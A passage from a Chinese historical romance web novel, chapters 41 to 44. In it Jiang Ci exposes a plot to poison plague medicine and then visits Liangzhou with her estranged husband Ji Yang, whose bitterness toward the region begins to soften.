姜辞忽然抬头,目光平静中带着几分认真,轻声说道:“姐夫,你和姐姐成婚,竟未给汀洲送信。我是最后一个知道的,若早些知晓,定当备上一份薄礼。如今想来,倒觉愧疚。”
说罢,她举起酒杯,语气温婉真挚:“这一杯,算是迟来的贺喜酒,敬你们白首成约。”
姬阳正低头咬着一块牛肉,姜辞在桌下轻轻踢了他一脚,他抬头一愣,旋即明白,连忙放下筷子,举杯附和道:“祝姐姐和姐夫,百年好合,早生贵子。”
三人举杯共饮,气氛渐渐融洽。
孟啸放下酒杯,笑意更深:“借你们吉言。说起来,我家阿潋,在我临行前诊出喜脉。”他语气中按捺不住的欣喜,紧接着补上一句,“这句‘早生贵子’,我原封不动地送还给你们夫妇二人。”
话音一落,姜辞微愣,忍不住抬眼看了姬阳一眼。
恰巧姬阳也抬眸望向她,二人视线在半空中撞上,脑海中竟同时浮现出那一夜的荒唐记忆,入酒的迷药、唇齿交缠、肌肤相亲。
空气仿佛凝住了半瞬,桌下的脚不约而同地收了回去。
姬阳的耳根一点点泛红,而姜辞也飞快地移开了视线,低头喝茶掩饰,唇角却微微抿紧。
孟啸夹了一块菜,若有所思地看着他们,心中暗道:也许这段和亲,也未必没有回转的余地。
就在这时,姜辞忽然捂住胸口,眉头一蹙,轻轻干呕了一声,身子微微前倾,连带着桌边的瓷杯也颤了一下。
两个大男人的目光相撞在一起,又齐刷刷看向姜辞。
第42章
“阿辞?”孟啸最先反应过来,语气中满是关切。
姬阳也猛地转头看她,神色凝住,眸光一瞬紧张,“你怎么了?”
姜辞摆了摆手,强忍着不适,声音低低的:“没事,可能是刚刚酒喝得急了。”
但她脸色微白,唇边失了血色。她低垂着眼,不敢看二人,只觉胸口翻腾,胃中微微泛酸。
姬阳已然放下杯盏,神情一凛:“你面色不好,还说没事?”
孟啸则微微一愣,眸中划过一丝异样的神色。
这一刻,饭桌上的空气忽然安静下来,仿佛有什么尚未言明的东西,在三人之间悄然游走。
姬阳看着姜辞的模样,心中莫名一紧:难道是那晚?
一想到此,他不禁攥紧了手边的酒杯。
姜辞则迅速坐直身子,勉强笑了一下,道:“真的没事,可能是这几日操劳,加上刚刚醒来就饮酒,胃不太舒服。”
她说得平静,语气也一如既往的从容。
姬阳将她手中的酒杯拿走,说道:“既然身体不舒服,就别饮酒了,让晚娘注意一下你的饮食,早点回去歇着,姐夫有我在这里陪着。”
姬阳送走孟啸,踏进郡守府的院落时,暮色已深,天边最后一抹霞光也沉入了山影之间。他刚一抬头,便看见姜辞站在院中的石阶旁,身影纤细,正背风而立。
他走过去,在她身后停下。
姜辞似是听见了动静,转过头来,语气平静地开口:“谢谢都督今日在姐夫面前,配合我演了这一出戏。”
姬阳微怔了一下,没有立刻答话。他垂眸看着她眼底淡淡的疲意与礼貌疏离,过了片刻,才缓缓说道:
“我并没有在演戏。”
姜辞诧异地看向他。
姬阳望着她,语气低沉,却格外认真:“孟使君是雪中送炭之人,你与他,都对宁陵、对东阳有恩。无论我们私下关系如何,在你亲人面前,我都不该让你失了面子。”
姜辞微微一怔,眼中一瞬浮起几分晃动。她不知如何回应,唇瓣动了动,最终什么也没说。
她只是低头,微微福身,道了句:“夜深了,我先去歇息。”
刚要转身离开,身后传来姬阳略带迟疑却努力平稳的声音:“那个……后日,我有空。疫区那边也已有军医接手,你也不用再事事亲力亲为。”
姜辞回头看着他,眸光静静落在他略有些不自然的表情上。
“我们……去一趟凉州吧。”
姜辞怔住了,眼中浮现一瞬的光。
她没有立刻答应,只是低声“嗯”了一句,声音里有些克制不住的颤。
“好。”
说罢,她转身回屋,轻轻带上了房门。
门后,姜辞背靠木壁,垂眸凝视着脚边的地板。
她从未想过,他会说出“我们一起去”。哪怕只是顺口而为,却依旧叫人心头
微动。只是那句“凉州我要,姜怀策的项上人头我也要”依旧如锥刺心,令她不敢轻易欢喜。
她不知道,到底该怎么做,才能真正改变他心中对凉州的执念。
翌日天光大亮,姜辞才从一夜酣眠中醒来。她虽仍觉困乏,但一睁眼,心中头一件念起的,便是那批药。
她坐起身来,唤来银霜。
“那日我让你带回来的药渣,还在吗?”
银霜点点头,从柜底取出一个油纸包,小心翼翼地展开:“都在这里,一共三锅药,我都分开包了。”
姜辞看着桌上三包药渣,低头辨认。因这次所用皆是山中新采药材,又经过焙干、研磨、熬煮,颜色早已浑成一片,根本无法靠眼力区分。
她只能闭上眼,一包一包地嗅闻。
第一包,是清热解□□,味道淡苦无异。第二包,是预防用药,有股略苦涩的清香。第三包,姜辞嗅到一半,眉心忽然紧蹙。
这股味道,不对。
“银霜,你来闻这个。”
银霜凑近一嗅,立马后退一步,皱着鼻子:“有点辣?像是……药里掺了什么毒草。”
姜辞眸色深沉,喃喃道:“这味道不属药方,却又极轻极细,若非熟识药性,很难察觉。”
她心头已经隐隐有了猜测,却也知道以自己辨毒能力,难以断定。
她将那一小包药渣重新包好,嘱咐银霜:“你别声张,找个稳妥机会,把这包药渣送去军医那边查。别说是我让你送的,就说你无意中捡到,想让他们看看是什么药。还有一件事……”
姜辞心中不禁浮现出一个名字——苏玉。她无法断定,只是直觉上的猜测。
那姑娘虽着一身寻常村妇的衣裳,可眉眼气度却分明与寻常人不同,站在人群中总显得有些格格不入。
燕渡说她是自己妹妹,但两人相处间并无多少兄妹亲昵的气息。再说燕渡自称出自凉州,先去了丰都,如今又现身宁陵,而苏玉,一个自称是他妹妹的女子,又为何偏要跟来疫区,与病人混在一起?
更让人在意的是,每次她遇险,燕渡总在最及时的时刻现身救她。若他真怀有恶意,早在山间采药时就可以对她痛下杀手,何必屡屡救她脱困?
一念至此,姜辞沉思片刻,忽然侧身,俯身在银霜耳畔轻声交代了几句。
银霜听罢一惊:“小姐,这……可真能把人逼出来?”
“你只管照做。”姜辞眼中一丝寒光划过,“这等毒害之人,藏在人群中,若不设法引蛇出洞,难以查出到底是谁动了手脚。”
她吩咐完后,又叮嘱道:“再放出一个消息,就说,昨夜我喝了那批药中的残羹,今早也开始头晕作呕,疑似中毒。别宣扬得太明显,自然些。”
银霜一怔,旋即明白她的意图,点点头:“属下明白,咱们就静等看谁坐不住。”
银霜按照姜辞的吩咐,悄悄将那包药渣送到了疫区中军医手中。那军医仔细辨认片刻,脸色骤变:“这药材里混了草乌!虽量不多,但若久服,或者体弱之人服下,必定中毒。”
银霜听罢心头一紧,立刻散播消息出去:“都督夫人疑似因误服汤药,已然中毒,命在旦夕。”
消息像火舌一般,在疫区中窜开,不出一个时辰便传遍了疫区。
银霜一路悄然跟踪那名行迹鬼祟之人,终于在城中一间客栈前停下了脚步。她藏身在暗影之中,透过半掩的窗棂看清了那人走入的大堂。
堂中,苏玉正倚在窗边,一身素衣,姿态闲适地用食喝茶。那男子快步上前,低声抱拳禀报。
苏玉只是淡淡扫了他一眼,并未立刻回应,只将手中最后一块点心送入口中,慢条斯理地咀嚼咽下。
片刻后,她才缓缓起身,掸了掸衣袖,仿佛只是随意散步一般,懒洋洋地朝楼上的房间走去。
她推门而入,轻描淡写对正饮酒的楼弃说道:“你那看上的小美人,怕是命不久矣了。”
楼弃动作一滞,手中酒杯停在半空。他侧目望她,眉头微拧:“你怎么知道的?”
苏玉盘膝坐在他对面,笑得轻佻:“她那个丫鬟,一大早急吼吼跑到疫区找大夫,说她服药后昏沉呕吐,命在旦夕。”
楼弃沉默数息,放下酒杯起身,淡淡说了一句:“我出去一趟。”
夜色沉沉,姜辞屋中早已熄灯,她静静坐在床榻之上,心跳微紧。
忽然,院中一声轻响,一个黑衣身影如鬼魅般悄然落地。她立刻躺平,闭目屏息,任由汗水浸湿鬓角。
楼弃推窗而入,来到床前,看着她苍白的面色,神情一动。他俯身试探她鼻息,确认尚存微弱呼吸后,掰开她的唇,将一粒乌黑丹药塞入口中。
正欲转身离去,一只手却忽地从床榻上伸出,扯住了他的衣袖。
“你终于来了。”
屋门瞬间被推开,银霜与晚娘一左一右堵住退路,晚娘手中一柄油灯将屋内照得通明。
烛光之下,姜辞起身,盯着楼弃的脸看了半晌,像是第一次真正看清他。
“果然是你。”她喃喃出声。
楼弃想挣脱她的手,却被她攥得更紧。他垂眸,强作镇定:“我只是……听说你中毒了,过来看看。”
姜辞目光冷然:“苏玉,不是你妹妹,对吗?你们根本不是凉州人,为何要打着凉州的旗号在宁陵害人?”
楼弃神情一滞,唇角勾起一抹淡笑:“恕我,不能奉告。”
话音落下,他忽然一震手腕,从姜辞指缝中利落抽身,身影如风掠过窗棂,转瞬间便消失在夜色浓重的庭院之中。
银霜想要追,姜辞说:“别追了,没什么用,虽然不知道他们是谁,但是肯定的是他一定和姬阳有仇。”
银霜说道:“都督这些年征战南北,树的仇敌肯定不少,借小姐的手让他失去民心,也是意料之中,顺便还嫩挑拨你们二人,让都督对凉州更加防范。”
姜辞说道:“好在,姬阳这回信我,没让他们得逞,也算及时止损,只是可惜平白枉死的百姓。”
屋内烛火微颤,光影在墙上拉出摇曳不定的剪影。姜辞静静坐在榻上,从袖中取出一个令牌,方才抽离时,从他怀中扯下的。
她望着窗外漆黑一片,自语道:“你到底是谁……没关系,我会慢慢找出来。”
楼弃疾步行至街角,回头望去,那处郡守府的屋檐仍隐有微光。他站在原地,半晌没动,月光打在他发梢,一阵风吹过。
他低声骂了一句:“我真是疯了。”
待他踏入客栈,夜色已深,室中却仍亮着灯。苏玉倚在窗边,手中把玩着一柄短刃,眼尾斜挑,神情冷淡。
他推门进来,卸下披风,动作却少了平日的洒脱,反而带着几分迟疑与疲惫。
沉默片刻,他低声道:“是我冲动了。”
苏玉瞥他一眼,冷笑道:“我真没想到你竟然会因为一个女人乱了阵脚,真是高看你了,燕王殿下。”
楼弃神情晦暗,没有反驳,只淡淡回道:“回瀚北吧。”
苏玉挑眉:“就这样走了?”
楼弃没有说话,走到案几旁倒了一盏酒,一饮而尽。许久,他低声道:“此局已破,留下也无益。”
苏玉靠着窗,语气依旧带着几分不屑:“你要是真对那女子有想法,何不干脆点,绑了她,直接带走?”
楼弃手中酒盏顿住,眼底闪过一抹复杂的神色,半晌,他轻声一笑:“不,我有预感,我与她,迟早还会再见。”
苏玉嗤笑一声:“情之一字,果然最误事。”
楼弃闭上眼,倚着窗边低声道:“你别乱说,我只是对她有点兴趣。”
苏玉收了短刃,语气冰冷:“美人误国,姬阳的军师说的果然没错。”
楼弃没有再答,只将那盏酒放下,缓缓抬头,眼中已恢复了几分深沉和清冷。
“我听说她下个月初三生辰,若不提前给她一个惊喜,倒显得我无礼了。”
苏玉按耐住心中的烦躁说道:“你
又要做什么滥俗事情?”
“秘密,暂时不告诉你。走吧,此地不宜久留了。”
第43章
姬阳想起那晚姜辞忽然干呕,心头那点本被压下的念头又浮了上来。
他嘴角不自觉地扬起一个细微的弧度,神色间透出几分说不清的轻快——莫非,她怀了我的孩子?
没想到只是一夜荒唐,竟真成了实打实的一锤定音。
念及此处,他忽地有些坐不住,转身吩咐越白:“带点酸的东西上路。”
越白一边翻着箱笼,一边低声嘀咕:“我竟然不知道都督何时喜欢吃酸的了。”虽是暗暗吐槽,却也没有多问,只从罐中抓了一小包陈梅子,用帛布包好,递给了姬阳。
姬阳将那包东西随手塞进怀里,神色坦然。
他站在郡守府外,身形笔直地等着。府门一开,银霜扶着姜辞缓步走出。
姜辞一身素色衣裙,神情清冷中带着点出行前的宁静,她回头看着银霜轻声交代:“你回去吧,我们只在那边住一两晚,不用担心,都督功夫了得,不会有事的。”
银霜依依不舍地握住姜辞的手,又看了一眼旁边的姬阳,最终将姜辞的包袱递给他。姬阳顺手接过,并不多话。
姜辞下阶梯的时候,姬阳原本伸出手想去扶她,可手才抬到半空,就停在了她一寸之外。他没有再动,只等她走近。
姜辞无视了他伸出的手,站在他面前,四下望了望:“怎么不见马车?”
姬阳神色如常将手背到身后:“旱路遥远,马车太颠簸,我们先坐船,从水路过去。登岸之后再换车进凉州城。”
姜辞点了点头,没说什么。
两人一前一后走出街巷,朝城西渡口而去。
街上人声鼎沸,熙熙攘攘。姬阳刻意落在她半个身位之后,手臂微抬,护在她身后,警惕着往来的人流,生怕谁不小心撞着了她。
刚走到城西门口,姜辞忽然停下脚步,姬阳脚步一顿,视线顺着姜辞微变的神情看去。
那边街角,一个戴着斗笠的男子正靠在青砖墙上,怀里抱着一把未出鞘的长刀,安静地立着,目光直直地看着他们。
是楼弃。
他在等她。
姜辞一眼便认出了他,脚步蓦地顿住。
姬阳也察觉到了异样,眉头随之紧蹙,低声道:“他在这里做什么?”
姜辞转头对姬阳说道:“你在这里等我一下。”
姬阳伸手拽住她的手腕,语气微沉:“你要去做什么?你是都督夫人,最好少与其他男人纠缠。”
姜辞转头看他,目光清清淡淡,没有一丝温度:“私人恩怨。”
话音落下,她将手从他掌中抽出,转身径直朝楼弃走去。
姬阳站在原地,看着她身影远去,神情虽有不悦却无可奈何。
楼弃看着姜辞走来,笑着起身,语气带着他一贯的轻浮与倨傲:“我正好在此等你,想与你道个……”
话音未落,姜辞抬手就是一记巴掌,清脆响亮,直接将他那句寒暄扇了回去。
这一巴掌,不仅楼弃震惊,就连远处的姬阳也眉毛一挑,眼中闪过一丝意外。
楼弃捂着脸,一脸不可置信地看着她,张了张嘴:“你……你打我做什么?我……”
姜辞没让他说完,第二记耳光紧随而至,毫不留情地打在他另一边脸颊。
楼弃抬起双手捂脸,目光惊怒交加。
姬阳站在原地,看着那被扇得直发懵的楼弃,竟没忍住,低声笑出声来。他的笑意中带着一丝幸灾乐祸,还有几分莫名的得意。
姜辞神色不变,冷声开口:“第一巴掌,因你欺我;第二巴掌,因你害百姓。”
她顿了顿,眼神冷冽如霜,“你若还有一点良知,就滚出汀洲,凉州之地,也不准再让我见到你。”
楼弃还想开口,却被她眼中的寒意逼得噤了声。
他一言未发,呆立在原地。
而姬阳在一旁看得津津有味,和楼弃四目相对那一瞬,还特意挑了挑眉,笑得极其嚣张。楼弃目光一滞,恨不得原地挥刀。
姜辞走回来,神色自若地从姬阳手中接过包袱,道:“走吧。”
姬阳抬手将她护在身侧,眸中却闪着一丝笑意,低声调侃:“看不出来你动起手来还挺有架势。”
姜辞淡淡道:“对待无耻之人,就该如此。”
姬阳轻笑,步履轻松了些许,心中却止不住微微发热。
江水滔滔,渡船破浪而行,载着两人渐渐驶离宁陵城。
船头风正急,江面苍茫,姜辞立在甲板之上,风吹起她的发丝,她凝望着水天一线之间愈发模糊的宁陵城廓,目光明亮中隐含期待。
凉州,终于近了。
那是她的根,她的家,也是她无数次在梦中念起的地方。
她知那片土地风物奇峻、人情浓郁,知城南古柳如织,知她幼年随父亲在榆关河畔捉鱼追蝶。此刻,她站在风中,眸中映着天光水色,唇角不自觉泛起微笑。
而她身后的姬阳,却始终沉默。
他站在船舱一侧,望着远方逐渐轮廓清晰的凉州地界,心中却涌动着截然不同的情绪。
三年为质,那是他此生都不愿回望的岁月。凉州,不是归处,是噩梦。
那时候的他,尚是少年,却被迫低眉顺眼,受尽冷眼折辱。衣不蔽体,食不果腹,住在马厩,吃的是猪狗不如的残羹冷饭。
寒冬腊月,他赤着脚、穿着薄衫,被人驱赶着在雪地里奔跑。身旁是成群的俘虏,为了抢一口硬得像石头的冷馒头,彼此厮打。他靠着马匹的体温蜷缩成一团入睡,一夜醒来,双手僵青,脸颊还留着鞭痕。
他曾被人唤作野狗,连马奴都能在墙头指他笑骂,朝他扔石头。他只能低下头,躲在墙角,牙关咬得发颤,默默受着。
那是他一生中最屈辱的光景。
他从未想过,有朝一日会自己重新踏上这片土地。如今他回来了,却不是以复仇者的身份,而是以姜辞夫君的身份,陪她重返故土。
那张笑颜盈盈的面孔在眼前,姬阳一时竟不知是讽刺还是荒唐。他收回目光,缓缓低头,目光落在姜辞的小腹处。那处仍不显形的地方,此刻却在他心头重如千钧。
若她真的怀了孩子……那会是姜家的骨血。
他拳头慢慢攥紧,指节泛白。那股喜悦在脑海中只一闪,转瞬便被一股冰冷、复杂的情绪取而代之。他突然不愿再看她,仿佛只要多看一眼,那些被压抑多年的屈辱就会被唤醒。
他转身进了船舱,在漆□□仄的狭室中坐下,闭上眼睛,像是想将那些回忆锁回心底深处。
一个时辰后,船靠了岸。
江风裹着潮意扑面而来,凉州地界已然在前。姜辞站在船头,看着熟悉的城影愈近愈清,欣喜之色溢于言表。她正要唤姬阳出舱,不料帘子一掀,姬阳已走了出来。
他站在舷边,目光淡漠如常,脚步略显迟缓。
船身轻晃,正值下船之际,姜辞刚踏出一步,一个踉跄,身形一斜。前方的姬阳几乎是本能地伸手一拽,抓住了她的手腕。
可那只手,并没有立刻将她拉起,姜辞身子悬在半空,身后是水。
姬阳竟在那一刻,生出一个可怕的念头,若他松开手,让她摔下去,也许,肚子里的那个孩子就没了。
一个不该存在的血脉,一个令他屈辱的姓氏,一道永远无法抹去的仇恨。
这个念头如电光火石般划过脑海。
两人就那么僵持在船舷边上,江风翻卷衣角,船身微晃,姜辞眼神微动,意识到姬阳的目光忽然间陌生——那一瞬,他看着她的神情,仿佛是在看一个与己无干的陌生人,冷静,克制,甚至带着些许抵触。
他最终没有放手。
姬阳用力一拽,将姜辞拉上岸,扶她站稳。面无表情地松开手,什么也没说。
姜辞却抿了抿唇,回想刚刚,他眼里的温度,真真切切地消失过。那不是习惯性的冷漠,而像是在压抑着某种几乎要爆发的敌意。
她忽而有些看不懂他了。
上了岸,姬阳在前默不作声地走着,姜辞亦不多言,静静地跟在他身后。等候的马车早已备好,两人一前一后登车,相对而坐,却一路无言。
凉州榆关郡。
暮色沉沉,马车终于穿过城
门,缓缓停在城中一间客栈前。
姬阳掀帘下车,姜辞随后而至。客栈掌柜迎上前来,一见两人气度不凡,笑容谄媚:“二位贵客,不知是要一间上房还是两间……”
话未说完,姬阳已抬手打断:“两间上房。”
掌柜一愣,忙赔笑领命:“好好,二位请随我来。”
姜辞站在他身后,望着他的背影,眼神里掠过一丝淡淡的情绪。
他似乎……又把她想要稍微靠近的那颗心推开了些。
姜辞回到房间,简单收拾了随身行李,将包袱放在床脚,卸下发簪后靠着榻小歇片刻。窗外天光正好,榆关郡的风与宁陵不同,多了一份干燥而爽利的气息。
歇息不过一盏茶功夫,她便起身出了房门。
一走出客栈,她便瞧见姬阳已等在门前。他站在阶下,背对着客栈,目光沉静地望着前方街市。
姜辞下了阶,走到他身旁,语气轻柔:“我们走吧,这里我来过一次,不如我带你逛逛?”
姬阳闻言偏头看她一眼,轻应了一声:“嗯。”
他缓缓随着她步入街市。
姜辞走在前头,身形轻快,指着沿街的铺子和人流,一一向他介绍:“那是城北老胡家开的糖果铺,小时候我爱吃他家的蜜豆糕……前面那家缝衣的铺子,我娘说过手艺最好……”
姬阳默默听着,目光落在她唇角的微笑上,心神始终未曾真正落下。
他只觉得这些声音于他而言,有些聒噪,不是姜辞聒噪,而是这整座城,这一切关于凉州的回忆,让他无处遁形。
可他还是克制着,只淡淡地“嗯”了一声又一声,未曾表现出一丝不耐。
姜辞听得出来他情绪中的不安,眼中藏着沉沉郁色。她心中微动,没有继续言语,而是换了话题:“走,我带你去吃面。”
“这家面馆是我小时候跟父亲来吃过的,大概还记得位置……希望它还在。”
说话间,她忽然转身,轻轻拉住他袖子,牵着他走在街道一侧。
姬阳垂眸,看着那只攥着自己袖口的手指白净而纤长,心头忽然涌上一种复杂的感觉。他不曾挣开,也未回应,只默默随她脚步往前走。
两人正走到一处拐角,忽听得马蹄疾响,一骑快马自侧巷飞驰而出!
姜辞一愣,下意识停下脚步,那匹马已然冲至眼前,惊起尘土,马蹄高扬,她身形顿时有些踉跄,险些被扑来的蹄锋卷入。
“当心!”
姬阳眼神一沉,几乎本能地出手,将她猛地拽入怀中。
第44章
他身形一闪,挡在她身前,寒意逼人的目光扫向来马之人。
那骑马之人也已勒缰停住,额上冷汗直冒,慌忙下马,连声赔罪。
“你竟敢在街上纵马,若伤了孩童、妇人,如何了得!”姬阳低喝出声。
那人战战兢兢地跪地谢罪,连连点头:“是小人莽撞,实在不是有意。”
姜辞从他怀中起身,面色仍微微泛白。姬阳转身看她,语气终于松了几分:“你可有受惊?”
姜辞摇了摇头,低声道:“我没事。”
姬阳这才放过那人,冷声警告道:“不得再在街市纵马。”
那人连声应下,牵着马低头退去。
尘埃落定后,街市又恢复了喧闹。
姜辞理了理衣襟,轻笑一声:“看来榆关郡比我想的要热闹些。”
姬阳目光仍落在她肩头,似乎还未完全回神。
“走吧,”姜辞抬眸看他,语气重新轻快起来,“快到我记得那家面馆的巷口了,若是还在,就请你尝尝凉州人的手艺。”
面馆就在巷口那株老槐树下,招牌早已斑驳,灰瓦黄墙之间透着一股旧时风味。姜辞站在门前,有些惊喜地笑出声来:“还在。”
她一边说着,一边先行推门而入。
掌柜是个鬓发灰白的老人,瞧见他们进门,眼神打量了两眼,笑着招呼道:“里边坐,两位吃些什么?”
姜辞看了一眼墙上的字牌,道:“两碗面,一碟酱瓜,再来一壶凉茶。”
掌柜点头吆喝着去了厨房。
店中桌椅简朴,木条靠椅漆皮斑驳,角落还有几个当地人喝茶闲聊的声音。姜辞选了靠窗的位置坐下,姬阳则落座在她对面。
他依旧沉默,目光落在窗外的人流,似乎对四下无甚兴趣。
姜辞也不强求,只轻声开口:“这里的面是宽的,汤底清淡,用的是凉州本地的鸡骨草熬的,我吃不惯紫川的油腻,总念着这口。”
姬阳嗯了一声,没再多话。
气氛短暂沉默。
良久,他忽然问:“你小时候来过几次榆关郡?”
姜辞有些诧异他主动开口,随即点头道:“就一次。我爹来办差,我粘着他来的。”
姬阳垂下眼,指尖在桌面不自觉地摩挲着。
“你喜欢这里?”他语气平平,却让姜辞停了一下。
她想了想,说:“是啊,因为没机会再来,所以才记得清楚。小时候我喜欢这里的胡饼、喜欢集市、喜欢夜里风吹过瓦檐时的声音。”
姬阳轻声笑了一下,不是愉悦的那种笑,而是讥讽似的嗤笑。
“凉州的夜风,可不是什么好听的东西。”
姜辞一怔,没有回话。
两人之间又安静下来。
很快,面端了上来。热气缭绕中,那股淡淡的鸡骨草香扑鼻而来,姜辞搅了搅碗中的面,夹了一筷子,尝了一口。
“还是这个味道。”她低声感叹。
姬阳低头尝了一口,汤汁清淡,面条筋韧,却如嚼蜡。他心中一处冷硬之地在涌动,却被他压了下去。他只是默默吃着,像是在吞咽过去的旧影。
饭后,姜辞起身付了钱,店外日头偏西,街上多了些收摊的人声。
她轻声道:“今日劳你陪我走这一遭了。”
姬阳没有看她,只低声问:
“那你可知,这城里有多少人恨我入骨?”
她望着他的背影,忽然有些明白,今日他所有的冷淡与沉默,并非只是简单的厌烦,凉州对她而言是记忆,是依恋,是归属;而对他,是旧恨,是泥沼,是无处安放的羞辱。
姜辞却在此刻坦然的回答他:“究竟是你恨这里的人,还是这里的人恨你呢?”
姬阳一时语塞。
姜辞缓声开口,语气中透着认真:
“既然我父亲愿意把我嫁给你,便意味着凉州将来要仰仗你这位东阳大都督的威名。而凉州的百姓,也将成为你需要守护的子民。”
她看着他,目光清亮坚定,“我出嫁那一日,他们便不仅是凉州人,更是你姬阳肩头的责任。”
她顿了顿,语气放缓些许,却依旧诚挚:
“所以今日,你能否暂时放下成见,陪我好好走走,看看这座榆关郡?我只是想让你亲眼看看——这里的百姓,与东阳的百姓并无二致。他们也曾在战火中颠沛流离,也在泥泞中挣扎求生。”
姬阳缓缓转头看向她,目光中多了一分复杂,像是挣扎,又像是动摇。
他迈步走到她身侧,语气不再冷硬,也不再讥讽,
只是道:“既然你说要带我看看,那便走吧。”
街市夜色渐浓,天边最后一抹霞光隐入云层。姜辞领着姬阳在榆关郡街头缓步而行。
这里的烟火气与丰都截然不同,没有丰都的繁华喧闹,却自有一番温吞恬淡的韵味。行人三三两两,笑语盈盈,孩童追逐着纸鸢奔跑,炊烟升起的巷口飘来油炸豆腐的香气。
姬阳走在姜辞半步身后,目光静静扫过两侧店肆。他并未言语,却听得姜辞笑着道:“你看那边,那位卖糖人的老人,我小时候来时就看见过,不知道他怎么还在。”
两人走到街边一处摊位前,摊上摆着一排手工纸艺玩意儿。姜辞随手挑起一个机关灯笼,轻轻一拨,灯笼内部便缓缓旋转起来,纸面的花鸟图案随之展开,像是活了过来。
她一眼就相中了,递给姬阳:“你见过这个吗?”
姬阳接过,皱着眉看了半晌,却一时不知如何拨动机关。姜辞失笑,凑过去指了指底部的转轴:“这里轻轻一拨,它就会动。”
她话音刚落,手指已替他按上那处机关,动作自然,指尖不经意擦过他掌心。姬阳指头一紧,身子微不可察地一顿,却没有抽开。
灯笼旋转,纸面上的花鸟飞舞。姜辞望着灯影,眼底盈着笑意:“挺有趣的吧?”
“嗯。”姬阳应了一声,声音低低的,似乎还未从刚才的触感中回过神来。
前方不远,一群人在围观打火花,火星飞溅而起,照亮街巷一角。姜辞兴致勃勃拉着姬阳靠近,一边看一边说:“小时候我最怕这个,总觉得会烧着人。”
火光里,她的侧脸被映得明明亮亮,姬阳低头看着她,没有说话。
桥头另一侧飘来一股焦香气息,姜辞吸了吸鼻子,转头看他:“那边好像是烤年糕,我想吃。”
“我去。”姬阳没等她说完,已经抬脚走去。
姜辞目送他走远,唇角轻轻一勾,随即回头朝路边唤来几个小孩子,凑近他们耳边轻声说了几句话。
小孩们听得眼睛发亮,连连点头,姜辞从袖中掏出几枚铜钱递给他们,孩子们欢天喜地跑走,不一会儿便拉来更多同伴,将她的话一一传开。
街头一阵起伏喧哗,姜辞站在桥上,抬眼望向远处灯火点点的夜空。
片刻后,姬阳从人群中走回来,手里拿着一个刚出炉的烤年糕。姜辞听见脚步声,回头看他。
他走到她身旁,将年糕递过去,姜辞却忽然开口:“姬阳。”
“啊?”姬阳下意识应声,才刚转头张开嘴——
姜辞已经将手中的烤年糕塞进了他嘴里。
他一怔,眼前是她近在咫尺的眉眼,那双眼睛映着桥下水灯,竟似浮着微微的星光。
“好吃吧?”姜辞轻声笑着,“出了榆关郡,可就尝不到了。”
她不等他回应,已转身自顾自往客栈方向走去。
姬阳咬着年糕,站在原地怔了怔,终于轻叹一声,迈步跟上。
两人一前一后,穿过晚市归巷的人群,回到了那家简朴的客栈。
姜辞脚步微顿,在房门前回头。姬阳刚走过去几步,她在他背后轻声道:
“今日,谢谢都督。”
姬阳没有回头,只在走廊尽头微微顿了下,指尖在袍袖中缓缓蜷起。
第二日一早,天色已亮,榆关郡街头的烟火已起。
姬阳起身,披衣下榻,倒了一口凉茶下肚。
昨日她随口提起榆关郡的炸豆腐,他记在了心上,想着她既已有了身孕,更该好好歇息,他便打算独自去街上寻些热食回来。
他独自踏出客栈,一路往西街走去。街边茶摊已支起炉子,袅袅水汽升腾。
刚走不过几步,便听见茶摊边几人正交头接耳地谈论着什么:
“听说了没?东阳大都督亲自去了宁陵治水,跟百姓一起搬泥挑沙,白日里泥水裹身,夜里跟大伙睡地铺。”
另一人惊讶道:“真的假的?我还以为他是个不通人情的乱世杀神,打起仗来寸草不生。”
又有个老头喝了一口茶,放下杯子,慢悠悠说道:“哎,你们这都是听来的,我可是亲眼见着的。我前些日子才从宁陵回来,见都督亲自把军粮分给百姓吃,自己三日没沾一口热粥,你说这世上哪家将领做得到?”
有人插话道:“我还听说,他夫人是我们凉州人呢。”
“哎哟,那以后岂不是可以光明正大地将货物运到东阳境内了?凉州和汀洲的商路要通畅喽!”
“都督夫人是凉州人,那我们这些人也算是跟都督沾了亲了。”众人一笑。
忽有人低声感慨道:“以后……东阳大都督,没准就是我们凉州的都督喽。”
“是啊,有这样的都督坐镇,我们就不用再怕打仗了。哪像那帮西凉军,杀人放火、抢掠烧杀,见了好的就抢,连鸡犬都不放过!”
这些话,纷纷扰扰,在姬阳耳边炸开。
他怔住脚步,眉目沉了沉,却没有立刻说话。他以为这只是街边闲谈,但继续前行,越过两条巷子,又在一个豆腐摊前听到一对老人说起他将粮食分给百姓、亲自抬伤员、深夜修坝关照百姓的事。
再往前,小巷墙头传来孩子清脆的歌声:
“宁陵水涨天欲塌,
东阳都督扛铁铲。
挑泥扛沙不怕苦,
分粮救人如自家。
白袍不沾百姓血,
笑问何人不识他?”
姬阳听得一愣,站定在原地。
他眼神复杂地望向墙后,走过去,拉住一个正跟小伙伴一起跳格子的孩童,低声问道:“这歌是谁教你们的?”
小孩仰着头,睁着一双清澈干净的眼睛,看着他,天真地回答道:“是我们夫子教的啊!他说东阳大都督是个大英雄,会保护我们。”
那孩童说着,朝姬阳咧嘴一笑:“大哥哥,你长得真英武,好像那个大都督哎!”
姬阳一时无言,放开孩子的手,原地站了良久。
他目光落在远方熙攘街市与晨光之中,耳边仿佛还回荡着那童声歌谣的余韵。
原来,他以为不会有人记得、不会有人在意的事,如今却成了百姓口口相传的话语。
他也曾无数次冷眼旁观他人评价他“冷血残酷”“东阳杀神”,却不曾想过,会有人说他是好人。
那一刻,他心头忽然一震,像是多年来冷硬如铁的心,被谁轻轻点了一下。
一种莫名的情绪,悄无声息地涌了上来。
他忽而想到姜辞。
这一切的缘起,都始于她。
那颗被仇恨、战争和羞辱锻成的心,在这个清晨,被凉州人的朴素善意与一首歌谣,撬开了一道细缝。
他深吸一口气,转身,提起热豆腐,快步往客栈走去。
清晨时分,阳光才刚照亮榆关郡的屋檐。姜辞倚在客栈二楼的窗前,手中还捏着一角帘子。她低头望去,只见街市已渐渐热闹起来,卖菜的吆喝声、早点摊飘出的香味,与早起孩童的追逐声交织成一幅人间烟火图。
而她的目光,却只停在一个人身上。
姬阳走在街上,一手提着食盒,神情与往日不同,不再是那种冷硬紧绷的模样。他像是终于卸下了什么,眉间那道拧紧了许久的褶皱,竟悄然舒展开了些许。
街边还有人围坐着谈笑,依旧在传着他的事迹。
姜辞看着他,唇角微微扬起,眼底掠过一抹柔光。她轻轻将窗合上,回到榻上,闭上眼。
不多时,门外传来轻轻一声敲门。
她慢条斯理地起身,披了件外衫,才“睡眼惺忪”地将门打开。
